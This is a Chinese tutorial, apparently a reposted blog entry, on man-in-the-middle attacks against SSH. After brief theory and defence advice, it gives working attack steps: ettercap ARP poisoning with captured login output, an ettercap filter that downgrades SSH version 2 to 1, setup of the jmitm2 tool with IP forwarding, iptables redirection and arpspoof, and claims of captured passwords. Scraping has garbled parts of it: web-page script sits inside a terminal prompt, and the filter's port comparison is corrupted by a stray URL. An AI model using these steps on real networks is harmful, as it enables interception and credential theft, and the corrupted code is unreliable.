首页 > 代码库 > SSH V2的中间人攻击
SSH V2的中间人攻击
- SSH V2的中间人攻击
- 2012-12-19 10:48:52 我来说两句 作者:Dis9Team
- 收藏 我要投稿
- 中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)中间人攻击很早就成为了黑客常用的一种古老的攻击手段,并且一直到今天还具有极大的扩展空间。
在网络安全方面,MITM攻击的使用是很广泛的,曾经猖獗一时的SMB会话劫持、DNS欺骗等技术都是典型的MITM攻击手段。在黑客技术越来越多的运用于以获取经济利益为目标的情况下时,MITM攻击成为对网银、网游、网上交易等最有威胁并且最具破坏性的一种攻击方式。
要防范MITM攻击,可以将一些机密信息进行加密后再传输,这样即使被“中间人”截取也难以破解,另外,有一些认证方式可以检测到MITM攻击。至于局域网内各种各样的会话劫持(局域网内的代理除外),因为它们都要结合嗅探以及欺骗技术在内的攻击手段,必须依靠ARP和MAC做基础,所以网管应该使用交换式网络(通过交换机传输)代替共享式网络(通过集线器传输),这可以降低被窃听的机率,当然这样并不能根除会话劫持,还必须使用静态ARP、捆绑MAC+IP等方法来限制欺骗,以及采用认证方式的连接等。
但是对于“代理中间人攻击”而言,以上方法就难以见效了,因为代理服务器本来就是一个“中间人”角色,攻击者不需要进行任何欺骗就能让受害者自己连接上来,而且代理也不涉及MAC等因素,所以一般的防范措施都不起作用。
除非你是要干坏事,或者IP被屏蔽,或者天生对网络有着恐惧,否则还是不要整天找一堆代理来隐藏自己了,没必要的。常在河边走,即使遇上做了手脚的代理也难察觉。
Openssh
OpenSSH 是 SSH (Secure SHell) 协议的免费开源实现。SSH协议族可以用来进行远程控制, 或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、 rcp ftp、 rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控件和文件传输过程的中的数据,并由此来代替原来的类似服务。
OpenSSH是使用SSH透过计算机网络加密通讯的实现。它是取代由SSH Communications Security所提供的商用版本的开放源代码方案。目前OpenSSH是OpenBSD的子计划。
OpenSSH常常被误认以为与OpenSSL有关联,但实际上这两个计划的有不同的目的,不同的发展团队,名称相近只是因为两者有同样的软件发展目标──提供开放源代码的加密通讯软件。
OpenSSH 支持 SSH 协议的版本 1.3、1.5、和 2。自从 OpenSSH 的版本2.9以来,默认的协议是版本2,该协议默认使用 RSA 钥匙。de:OpenSSH en:OpenSSH es:OpenSSH fr:OpenSSH it:OpenSSH ja:OpenSSH lv:OpenSSH nl:OpenSSH pl:OpenSSH sv:OpenSSH低版本的攻击
例如这个服务器的SSH版本
版本很低SSH-1.5-OpenSSH_6.0p1 可以直接ARP不?
启动ETTERCAP 进行ARP123456789101112131415161718192021222324252627282930313233root@Dis9Team:~
# ettercap -T -M arp // // -q -i eth5
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on eth5... (Ethernet)
eth5 -> 08:00:00:00:00:03 5.5.5.3 255.255.255.0
SSL dissection needs a valid
‘redir_command_on‘
script
in
the etter.conf
file
Privileges dropped to UID 0 GID 0...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts
for
scanning...
Scanning the whole netmask
for
255 hosts...
* |==================================================>| 100.00 %
2 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : ANY (all the hosts
in
the list)
GROUP 2 : ANY (all the hosts
in
the list)
Starting Unified sniffing...
Text only Interface activated...
Hit
‘h‘
for
inline help
登录SSH
1234567<pre>brk $
ssh
5.5.5.6 -p 2222 -1
brk@5.5.5.6<SCRIPT
type
=text
/javascript
>
/* <![CDATA[ */
(
function
(){try{var s,a,i,j,r,c,l=document.getElementById(
"__cf_email__"
);a=l.className;
if
(a){s=
‘‘
;r=parseInt(a.substr(0,2),16);
for
(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
<
/SCRIPT
>‘s password:
Last login: Sat Nov 17 19:30:29 2012 from 5.5.5.1
成功ARP到密码
Sshmitm
Sshmitm 是Dsniff自带的一个具有威胁的工具之一。如果你是在运行dnsspoof来伪造实际机器主机名,那么sshmitm可以重新定向到你的机器的ssh流量。因为它支持到ss1,所以这也是我们需要考虑把ssh升级到2的原因。
Sshmitm的工作原理主要是dnsspoof工具使我们拦截到达另一台机器的ssh连接。只需要在端口22上启动Sshmitm(这里我们可以使用-p选项来改变所使用的端口号),并设置它来中继达到真实主机的连接。
sshmitm可以对某个SSH会话发动MITM(Monkey-In-The-Middle)攻击(注意,这里的Monkey是Dsniff包readme文件中的解析,而不是常见的Man,这种区别实际上是没有“区别”,也许就是因为Dsniff以猴子做为其标志的原因吧)。
通过sshmitm,攻击者可以捕获某个SSH会话的登录口令,甚至可以“劫持”整个会话过程(攻击者在其主机上通过OpenSSL提供的代码生成伪造的证书,以欺骗目标主机,使之相信就是有效的通信另一方,结果是,攻击者主机成了SSH安全通道的中转站)。
目前,对于SSH1,这种MITM攻击已经构成了严重的威胁。
MITM并不是一个新的概念,它是一种对认证及密钥交换协议进行攻击的有效手段。通常,在SSH会话中,服务器首先会给客户端发送其公钥,严格来说,这种密钥的交换和管理应该是基于X.509这种公钥基础设施(PKI)的,但因为PKI本身的复杂性导致真正应用了这种公钥管理机制的服务器非常少,所以,通常情况下,服务器只是简单的自己生成密钥对,并将其中的公钥发送给客户端。
客户端收到服务器的公钥后,必须独立验证其有效性。通常,使用SSH的客户端会由sysadmin或其它账号来维护一个“密钥/主机名”的本地数据库,当首次与某个SSH服务器建立连接时,客户端可能被事先配制成自动接受并记录服务器公钥到本地数据库中,这就导致可能发生MITM攻击。其实,建立加密的安全网络都存在一个基本的问题,无论如何,某种程度上讲,加密通道的初始化连接总是建立在一个存在潜在危险的网络之上的,如果密钥交换机制并不健全,或者是根本就被忽略了,那之后建立起来的加密通道也形同虚设了。按道理讲,SSH之类的协议本身是没有问题的,只要严格按照标准来建立加密及密钥交换管理机制(例如PKI),攻击者是根本不会有可乘之机的,可问题就在于,许多时候,为了使用上的方便,“复杂”的保证技术就被人们抛之脑后了。
当然,一种协议如果其可用性并不很强,也许本身就是问题,现在,SSH2较SSH1已经有了较大改进。具体来说,在某个SSH连接建立之初,如果客户端收到一个未知的服务器端公钥,OpenSSH会有下列配置处理方式:- 自动增加该公钥到本地数据库;
- 发出下面列出的警告消息,并询问用户是添加该公钥还是放弃连接;
————————————————————————
– WARNING: HOST IDENTIFICATION HAS CHANGED! –
————————————————————————
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that the host-key has just been changed. Please contact your system administrator. - 拒绝接受。如果客户端对未知公钥的验证被取消了(或者客户端配置本身已经旁路掉了这个过程),或者如果客户端保存已知主机CA证书的缓存被“毒害”了,就很有可能导致攻击者发起MITM攻击。从根本上讲,要防止MITM方式的攻击,用户自身加强安全措施才是关键,例如,密钥的初始交换也许可以换做其它方式(比如软盘),严格管理本地的证书列表数据库,对于出现的告警提示,应该仔细甄别,防止第三方的欺骗行为。
降级MITM攻击
降级MITM攻击允许攻击者迫使客户端和/或服务器使用不太安全的协议或功能集合,这些协议或者功能是为了向下兼容旧版本的客户端/服务器才提供的。有时,客户端支持访问包含不同特征或同一特征不同版本的服务器。这样,客户端和服务器要经常协商应该使用何种特征和何种版本的特征。例如,许多Secure Shell(SSH)客户端同时支持SSH协议的 v1版本和v2版本,以及几种不同的加密密码。(SSH是一种加密的网络协议,用于连接提供命令行访问方式的计算机。)v1版本含有协议缺陷,允许攻击者看到客户端与服务器交换的正常加密数据。
出于这个原因,大多数人使用SSH v2版。
然而,由于向下兼容的原因,许多服务器和客户端依然支持SSH v1版。利用MITM攻击,攻击者可以告知服务器和客户端在开始加密前使用易受攻击的SSH v1协议。为了阻止此类攻击,大多数SSH客户端和服务器只能够设置成使用SSH v2协议。一种测试客户端是否支持此规则的简单方法,是代理网络流量并告知客户端使用旧版本的协议。
ETTERCAP的ARP规则里面有123456789101112131415161718192021222324252627282930313233343536373839404142<pre>root@Dis9Team:
/usr/share/ettercap
# cat etter.filter.ssh
############################################################################
# #
# ettercap -- etter.filter -- filter source file #
# #
# Copyright (C) ALoR & NaGA #
# #
# This program is free software; you can redistribute it and/or modify #
# it under the terms of the GNU General Public License as published by #
# the Free Software Foundation; either version 2 of the License, or #
# (at your option) any later version. #
# #
############################################################################
##
#
# This filter will substitute the SSH server response from SSH-1.99 to
# SSH-1.51, so if the server supports both ssh1 and ssh2 we will force
# it to use ssh1... <IMG class="wp-smiley" alt=;) src=http://up.2cto.com/2012/1219/20121219105154693.gif" height=auto jQuery172042555347942556737="28" old_width="24" old_height="24">
# server response : SSH-2.00 only ssh2 supported
# SSH-1.99 both ssh1 and ssh2 supported
# SSH-1.51 only ssh1 supported
##
if
(ip.proto == TCP) {
if
(tcp.src =http://www.mamicode.com/= 22) {
if
( replace(
"SSH-1.99"
,
"SSH-1.51"
) ) {
msg(
"[SSH Filter] SSH downgraded from version 2 to 1\n"
);
}
else
{
if
( search(DATA.data,
"SSH-2.00"
) ) {
msg(
"[SSH Filter] Server supports only SSH version 2\n"
);
}
else
{
if
( search(DATA.data,
"SSH-1.51"
) ) {
msg(
"[SSH Filter] Server already supports only version 1\n"
);
}
}
}
}
}
root@Dis9Team:
/usr/share/ettercap
#
SSH 1.9是不能被ARP的,只有SSH-1.5,如果能支持1.9 和 1.5,那么吧1.9替换为1.5版本进行ARP
2.0版本的攻击
如果是2.0呢?
1234<pre>brk $ nc -vv 5.5.5.6 22
Connection to 5.5.5.6 22 port [tcp
/ssh
] succeeded!
SSH-2.0-OpenSSH_4.6
可以用jmitm进行ARP攻击
12345<pre>root@Dis9Team:
/pen
# wget http://www.david-guembel.de/uploads/media/jmitm2-0.1.0.tar.gz
root@Dis9Team:
/pen
# tar xf jmitm2-0.1.0.tar.gz
root@Dis9Team:
/pen
# cd jmitm2-0.1.0/
root@Dis9Team:
/pen/jmitm2-0
.1.0
#
需要编辑两个文件
12<pre>root@Dis9Team:
/pen/jmitm2-0
.1.0
# nano bin/conf/server.xml
和目标主机root@Dis9Team:/pen/jmitm2-0.1.0# nano bin/runm.sh
发送数据包欺骗网关 并且转发端口
1234567891011121314151617181920<pre>root@Dis9Team:~
# echo 1 > /proc/sys/net/ipv4/ip_forward
root@Dis9Team:~
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT
root@Dis9Team:~
# iptables -A FORWARD -j ACCEPT
root@Dis9Team:~
# arpspoof -i eth5 -t 5.5.5.6 5.5.5.0
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
8:0:0:0:0:3 8:0:0:0:0:6 0806 42: arp reply 5.5.5.0 is-at 8:0:0:0:0:3
当对方链接SSH的时候 成功获得密码
可以会出现SSH密匙不对 如果目标已经链接过123456789101112131415@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (
man
-
in
-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint
for
the DSA key sent by the remote host is
dc
:77:1e:b0:1b:a1:7c:71:33:1f:75:32:fe:e5:2e:28.
Please contact your system administrator.
Add correct host key
in
/home/brk/
.
ssh
/known_hosts
to get rid of this message.
Offending DSA key
in
/home/brk/
.
ssh
/known_hosts
:57
remove with:
ssh
-keygen -f
"/home/brk/.ssh/known_hosts"
-R 5.5.5.6
DSA host key
for
5.5.5.6 has changed and you have requested strict checking.
Host key verification failed.
brk $
不过这东西的局限性太大!
参考
http://www.david-guembel.de/index.php?id=6
强大的嗅探工具ettercap使用教程:我的欺骗规则
SSH V2的中间人攻击